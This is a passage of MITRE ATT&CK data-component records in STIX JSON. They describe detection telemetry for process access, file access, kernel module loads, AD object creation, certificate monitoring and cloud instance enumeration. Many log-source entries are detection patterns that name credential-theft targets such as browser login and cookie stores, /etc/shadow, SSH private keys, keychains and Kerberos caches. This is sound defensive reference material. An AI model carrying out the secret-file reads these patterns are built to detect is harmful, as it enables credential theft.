                },
                {
                    "name": "NSM:Flow",
                    "channel": "Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unexpected inbound/outbound TFTP traffic for device image files"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services"
                },
                {
                    "name": "snmp:access",
                    "channel": "GETBULK/GETNEXT requests for OIDs associated with configuration parameters"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-Bits-Client/Operational",
                    "channel": "BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-WLAN-AutoConfig",
                    "channel": "EventCode=8001, 8002, 8003"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=5156, 5157"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "EventCode=8001"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0035",
                    "external_id": "DC0035"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.770Z",
            "name": "Process Access",
            "description": "Refers to an event where one process attempts to open another process, typically to inspect or manipulate its memory, access handles, or modify execution flow. Monitoring these access attempts can provide valuable insight into both benign and malicious behaviors, such as debugging, inter-process communication (IPC), or process injection.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n    -  EDR solutions that provide telemetry on inter-process access and memory manipulation.\n- Sysmon (Windows):\n    - Event ID 10: Captures process access attempts, including:\n        - Source process (initiator)\n        - Target process (victim)\n        - Access rights requested\n        - Process ID correlation\n- Windows Event Logs:\n    - Event ID 4656 (Audit Handle to an Object): Logs access attempts to system objects.\n    - Event ID 4690 (Attempted Process Modification): Can help identify unauthorized process changes.\n- Linux/macOS Monitoring:\n    - AuditD: Monitors process access through syscall tracing (e.g., `ptrace`, `open`, `read`, `write`).\n    - eBPF/XDP: Used for low-level monitoring of kernel process access.\n    - OSQuery: Query process access behavior via structured SQL-like logging.\n- Procmon (Process Monitor) and Debugging Tools:\n    - Windows Procmon: Captures real-time process interactions.\n    - Linux strace / ptrace: Useful for tracking process behavior at the system call level.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack",
                "mobile-attack"
            ],
            "x_mitre_version": "3.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Process State"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace attach"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "ptrace or task_for_pid"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_open"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes"
                },
                {
                    "name": "Apple TCC Logs",
                    "channel": "Microphone Access Events"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace"
                },
                {
                    "name": "linux:syslog",
                    "channel": "syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=25"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_OPEN"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unusual Mach port registration or access attempts between unrelated processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "subsystem=com.apple.security, library=libsystem_kernel.dylib"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace syscall or access to /proc/*/mem"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "vm_read, task_for_pid, or file open to cookie databases"
                },
                {
                    "name": "linux:osquery",
                    "channel": "process_events"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ACCESS"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve, fork, mmap, ptrace"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace or process_vm_readv"
                },
                {
                    "name": "macos:osquery",
                    "channel": "unexpected memory inspection"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Code signing validation events referencing newly written local Mach-O/bundle prior to exec or dlopen"
                },
                {
                    "name": "android:logcat",
                    "channel": "Runtime grant or manifest presence for MANAGE_EXTERNAL_STORAGE/READ_EXTERNAL_STORAGE/READ_MEDIA_*; legacy external storage mode detection"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Privacy (TCC) prompts/grants for Photos/Files or access changes indicating new visibility into user/app data"
                },
                {
                    "name": "android:logcat",
                    "channel": "Activity/Process state change (mFocusedApp, onResume/onPause) identifying <pkg> as foreground"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Foreground/background transition for <bundle_id> to contextualize access timing"
                },
                {
                    "name": "android:logcat",
                    "channel": "Grant/activation of BIND_ACCESSIBILITY_SERVICE, BIND_INPUT_METHOD, SYSTEM_ALERT_WINDOW, POST_NOTIFICATIONS for <pkg>"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Keyboard extension Full Access change; privacy grant touching input/keyboard categories for <bundle_id>"
                },
                {
                    "name": "android:logcat",
                    "channel": "Grant/enablement for BIND_ACCESSIBILITY_SERVICE or BIND_INPUT_METHOD for <pkg>"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Keyboard extension Full Access change or related privacy grant for <bundle_id>"
                },
                {
                    "name": "android:logcat",
                    "channel": "Grant/enablement of SYSTEM_ALERT_WINDOW, BIND_ACCESSIBILITY_SERVICE, POST_NOTIFICATIONS for <pkg>"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Scene/foreground transitions for <bundle_id> to contextualize timing"
                },
                {
                    "name": "android:logcat",
                    "channel": "Reads/queries ops for PACKAGE_USAGE_STATS, QUERY_ALL_PACKAGES, BIND_DEVICE_ADMIN, BIND_VPN_SERVICE"
                },
                {
                    "name": "EDR:telemetry",
                    "channel": "Sustained or high-frequency location sensor access, including background location usage"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a",
            "created": "2021-10-20T15:05:19.274Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0087",
                    "external_id": "DC0087"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Active Directory Object Creation",
            "description": "Creating new objects in AD, such as user accounts, groups, organizational units (OUs), or trust relationships. Logged as Event ID 5137. Examples:\n\n- User Account Creation: New user account.\n- Group Creation: New security/distribution group.\n- OU Creation: New organizational unit.\n- Service Account Creation: New service account for automation or malicious tasks.\n- Trust Object Creation: Trust relationship with another domain.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "azure:audit",
                    "channel": "New device object creation"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "Device Object Creation"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4928"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6",
            "created": "2021-10-20T15:05:19.275Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0093",
                    "external_id": "DC0093"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Certificate Registration",
            "description": "Certificate Registration refers to the collection and analysis of information about digital certificates, including current, revoked, and expired certificates. Sources such as Certificate Transparency logs and other public resources provide visibility into certificates issued for specific domains or organizations. Monitoring certificate registrations can help identify potential misuse, such as unauthorized certificates or signs of adversary reconnaissance. Examples: \n\n- Certificate Transparency Logs: These logs record the issuance of SSL/TLS certificates by trusted Certificate Authorities (CAs).\n- Revoked Certificates: Information about certificates that have been invalidated before their expiration date.\n- Expired Certificates: Reports of expired certificates for a domain, which may indicate lax security practices or opportunities for adversaries to exploit expired credentials.\n- Domain Monitoring for Certificates: Maps SSL/TLS certificates to domains and subdomains, helping to identify any rogue certificates.\n- Public Certificate Directories: Services providing APIs to query issued certificates for analysis.\n\nThis data component can be collected through the following measures:\n\nUse Certificate Transparency Monitors\n\n- Tools like crt.sh, CertStream, or APIs provided by certificate authorities (CAs) allow you to monitor issued certificates in real-time.\n- Example: Use CertStream to stream certificate issuance logs and filter for domains of interest.\n\nAnalyze Certificate Revocation Sources\n\n- Monitor CRLs or query OCSP responders to detect revoked certificates.\n- Configure tools like OpenSSL or browsers to validate certificate revocation status automatically.\n\nLeverage Public Scanning Tools\n\n- Use tools such as SSL Labs, Censys, or Shodan to scan for certificate details related to your domain or network.\n\nAutomate Certificate Monitoring\n\n- Set up automated scripts or services to parse Certificate Transparency logs for anomalies.\n- Example: Automate searches on crt.sh to identify certificates issued for typo-squatted domains.\n\nIntegrate with Threat Intelligence\n\n- Enrich certificate data with threat intelligence feeds to detect connections to known adversary-controlled infrastructure.\n- Tools like VirusTotal can identify malicious certificates based on associated indicators.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Certificate",
                    "channel": "None"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
            "created": "2021-10-20T15:05:19.273Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0055",
                    "external_id": "DC0055"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.770Z",
            "name": "File Access",
            "description": "To events where a file is opened or accessed, making its contents available to the requester. This includes reading, executing, or interacting with files by authorized or unauthorized entities. Examples include logging file access events (e.g., Windows Event ID 4663), monitoring file reads, and detecting unusual file access patterns. Examples: \n\n- File Read Operations: A user opens a sensitive document (e.g., financial_report.xlsx) on a shared drive.\n- File Execution: A script or executable file is accessed and executed (e.g., malware.exe is run from a temporary directory).\n- Unauthorized File Access: An unauthorized user attempts to access a protected configuration file (e.g., `/etc/passwd` on Linux or `System32` files on Windows).\n- File Access Patterns: Bulk access to multiple files in a short time (e.g., mass access to documents on a file server).\n- File Access via Network: Files on a network share are accessed remotely (e.g., logs of SMB file access).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "enterprise-attack",
                "mobile-attack"
            ],
            "x_mitre_version": "3.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "macOS:unifiedlog",
                    "channel": "looking for file access to scripts with abnormal encoding patterns"
                },
                {
                    "name": "android:logcat",
                    "channel": "READ or COPY operations where path matches external/shared locations of other apps (e.g., /storage/emulated/0/Android/data/<otherpkg>/files/, /storage/emulated/0/Download/<app>/*)"
                },
                {
                    "name": "android:logcat",
                    "channel": "KeyChain/AndroidKeyStore read of token alias"
                },
                {
                    "name": "android:logcat",
                    "channel": "READ/LIST/STAT of /sdcard|/storage/emulated/0|/Android/media|/Documents with >N distinct paths in TimeWindow"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "/proc/*/mem read attempt"
                },
                {
                    "name": "auditd:FS",
                    "channel": "read: File access to /proc/modules or /sys/module/"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "PATH"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "file read"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, read, or stat of browser config files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "openat"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, read"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, flock, fcntl, unlink"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "read/open of sensitive files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Unusual processes accessing or modifying cookie databases"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "PATH records referencing /dev/video*"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Processes reading credential or token cache files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "read/open of sensitive file directories"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/read of sensitive config or secret files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/read of sensitive directories"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/read: Access to /proc/self/status with focus on TracerPID field"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/read access to ~/.bash_history"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open,read"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/read system calls to ~/.bash_history or /etc/shadow"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "read of /run/secrets or docker volumes by non-entrypoint process"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/read"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open or read to browser cookie storage"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, read, mount"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "file"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/read of sensitive directories (/etc, /home/*)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "PATH"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "attempts to read /proc/* entries at scale (openat/getdents64/readlink) or access denied for /proc traversal; correlate to app UID"
                },
                {
                    "name": "azure:activity",
                    "channel": "CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows"
                },
                {
                    "name": "CloudTrail:GetObject",
                    "channel": "sensitive credential files in buckets or local image storage"
                },
                {
                    "name": "desktop:file_manager",
                    "channel": "nautilus, dolphin, or gvfs logs"
                },
                {
                    "name": "ebpf:syscalls",
                    "channel": "container_file_activity"
                },
                {
                    "name": "ebpf:syscalls",
                    "channel": "open/read on secret mount paths"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "datastore file access"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "read: Access to sensitive log files by non-admin users"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "datastore/log file access"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "vSphere File API Access"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "file copy or datastore upload via HTTPS"
                },
                {
                    "name": "esxi:syslog",
                    "channel": "guest OS outbound transfer logs"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "VMFS access logs"
                },
                {
                    "name": "esxis:vmkernel",
                    "channel": "Datastore Access"
                },
                {
                    "name": "File",
                    "channel": "None"
                },
                {
                    "name": "fs:fileevents",
                    "channel": "File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)"
                },
                {
                    "name": "fs:fsevents",
                    "channel": "file system events indicating access to system configuration files and environmental information sources"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "File Access Monitor"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "Disk Activity Tracing"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "filesystem activity"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "Filesystem Call Monitoring"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "read/write"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file open for known browser cookie paths"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file reads/writes from /Volumes/"
                },
                {
                    "name": "fs:quarantine",
                    "channel": "/var/log/quarantine.log"
                },
                {
                    "name": "gcp:audit",
                    "channel": "Write operations to storage"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "READ operations from App Group containers (/var/mobile/Containers/Shared/AppGroup/...) or Files/Photos provider mountpoints, especially when group not owned by bundle"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "readdir/stat/read of /private/var/mobile/Containers/Shared/AppGroup|/Library/Mobile Documents|/On\\\\ My\\\\ iPhone with >N distinct paths in TimeWindow"
                },
                {
                    "name": "kubernetes:audit",
                    "channel": "GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server"
                },
                {
                    "name": "linux:osquery",
                    "channel": "/proc/*/maps access"
                },
                {
                    "name": "linux:osquery",
                    "channel": "None"
                },
                {
                    "name": "linux:syslog",
                    "channel": "auth.log or custom tool logs"
                },
                {
                    "name": "linux:syslog",
                    "channel": "/var/log/syslog"
                },
                {
                    "name": "linux:syslog",
                    "channel": "kernel messages related to cryptographic operations, module loading, and filesystem access patterns"
                },
                {
                    "name": "m365:unified",
                    "channel": "FileAccessed, MailboxAccessed"
                },
                {
                    "name": "m365:unified",
                    "channel": "Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "open or read syscall to ~/.bash_history"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "es_event_open, es_event_exec"
                },
                {
                    "name": "macos:keychain",
                    "channel": "Access to Keychain DB or system.keychain"
                },
                {
                    "name": "macos:keychain",
                    "channel": "~/Library/Keychains, /Library/Keychains"
                },
                {
                    "name": "macos:osquery",
                    "channel": "file_events"
                },
                {
                    "name": "macos:osquery",
                    "channel": "None"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Access to ~/Library/*/Safari or Chrome directories by non-browser processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Kerberos framework calls to API:{uuid} cache outside normal process lineage"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream - file subsystem"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file read of sensitive directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Abnormal process access to Safari or Chrome cookie storage"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "open: Access to /var/log/system.log or related security event logs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "open/read of *.plist or .env files"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "read of user document directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "read access to ~/Library/Keychains/login.keychain-db"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "filesystem and process events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "read access to ~/Library/Keychains or history files by terminal processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "access to /Volumes/SharePoint or network mount"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Access to ~/Library/Safari/Bookmarks.plist or recent files"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "access to keychain database"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream - file provider subsystem"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "read/write of user documents prior to upload"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "open/read access to private key files (id_rsa, *.pem, *.p12)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "read: File access to /System/Library/Extensions/ or related kernel extension paths"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "*.opvault OR *.ldb OR *.kdbx"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Recent download opened or executed"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application reads multiple local container files, browser-history artifacts, messaging artifacts, or local records in rapid sequence during the collection phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application performs burst reads across local system paths, external storage, media directories, cache locations, or local database files within a short interval as the primary collection phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application loads executable or library from external or writable directory (e.g., /sdcard/, app cache) prior to execution"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational",
                    "channel": "Suspicious file execution on removable media path"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0031",
                    "external_id": "DC0031"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:14:39.179Z",
            "name": "Kernel Module Load",
            "description": "The process of loading a kernel module into the operating system kernel. Kernel modules are object files that extend the kernel\u2019s functionality, such as adding support for device drivers, new filesystems, or additional system calls. This action can be legitimate (e.g., loading a driver) or malicious (e.g., adding a rootkit). \n\n*Data Collection Measures:*\n\n- Linux:\n    - Auditd: Enable auditing of kernel module loading. Example rule: `-a always,exit -F arch=b64 -S init_module,delete_module`.\n    - Syslog: Monitor `/var/log/syslog` or `/var/log/messages` for entries related to kernel module loads.\n    - Systemd Journal: Use `journalctl` to query logs for module loading events: `journalctl -k | grep \"Loading kernel module\"`\n- macOS:\n    - Unified Logs: Use the `log` command to query kernel module events: `log show --predicate 'eventMessage contains \"kextload\"' --info`\n    - Endpoint Security Framework (ESF): Monitor for `ES_EVENT_TYPE_AUTH_KEXTLOAD` (kernel extension loading events).\n- Kernel-Specific Tools:\n    - Lsmod: Use `lsmod` to list loaded kernel modules in real-time.\n    - Kprobe/eBPF: Use extended Berkeley Packet Filter (eBPF) or Kernel Probes (kprobes) to monitor kernel events, including module loading. Example using eBPF tools like BCC:\n`sudo python /path/to/bcc/tools/kprobe -v do_init_module`\n- Enable EDR Monitoring:\n    - Configure alerts for: Suspicious kernel module loads from non-standard paths (e.g., /tmp). Unexpected or unsigned kernel modules.\n    - Review detailed telemetry data provided by the EDR for insight into who initiated the module load, the file path, and whether the module was signed.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "esxi:vmkernel",
                    "channel": "VM exit/entry anomalies, unexpected hypercalls, or kernel module loading"
                },
                {
                    "name": "macos:osquery",
                    "channel": "New kext entries not signed by Apple or outside standard identifier prefix"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--2a80d95f-08c4-48e3-833e-151ef19d90f5",
            "created": "2021-10-20T15:05:19.274Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0075",
                    "external_id": "DC0075"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:14:38.969Z",
            "name": "Instance Enumeration",
            "description": "The process of retrieving or querying a list of virtual machine instances or compute instances within a cloud infrastructure. This activity provides a view of all available or running instances, typically including their associated metadata such as instance ID, name, state, and configuration details. Examples:\n\n- AWS: instance enumeration involves the `DescribeInstances` API call, which retrieves information about running or stopped EC2 instances.\n- Azure: VM enumeration can be monitored via the `Microsoft.Compute/virtualMachines/read` operation.\n- GCP: instance enumeration is logged as an `instance.list` operation within GCP Audit Logs.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail: CloudTrail logs stored in S3 or forwarded to CloudWatch.\n- Azure Activity Logs: Accessible via Azure Monitor or exported to a storage account.\n- GCP Audit Logs: Logs Explorer or BigQuery.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "AWS:CloudTrail",
                    "channel": "DescribeDBInstances"
                },
                {
                    "name": "azure:activity",
                    "channel": "MICROSOFT.COMPUTE/VIRTUALMACHINES/LIST"
                },
                {
                    "name": "gcp:audit",
                    "channel": "compute.instances.list OR storage.buckets.list"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "DescribeInstances, GetConsoleOutput, DescribeImages"
                },
                {
                    "name": "azure:activity",
                    "channel": "Microsoft.Compute/virtualMachines/read"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
            "created": "2021-10-20T15:05:19.273Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0039",
                    "external_id": "DC0039"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.770Z",
            "name": "File Creation",
            "description": "A new file is created on a system or network storage. This action often signifies an operation such as saving a document, writing data, or deploying a file. Logging these events helps identify legitimate or potentially malicious file creation activities. Examples include logging file creation events (e.g., Sysmon Event ID 11 or Linux auditd logs). ",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "enterprise-attack",
                "mobile-attack"
            ],
            "x_mitre_version": "3.0",
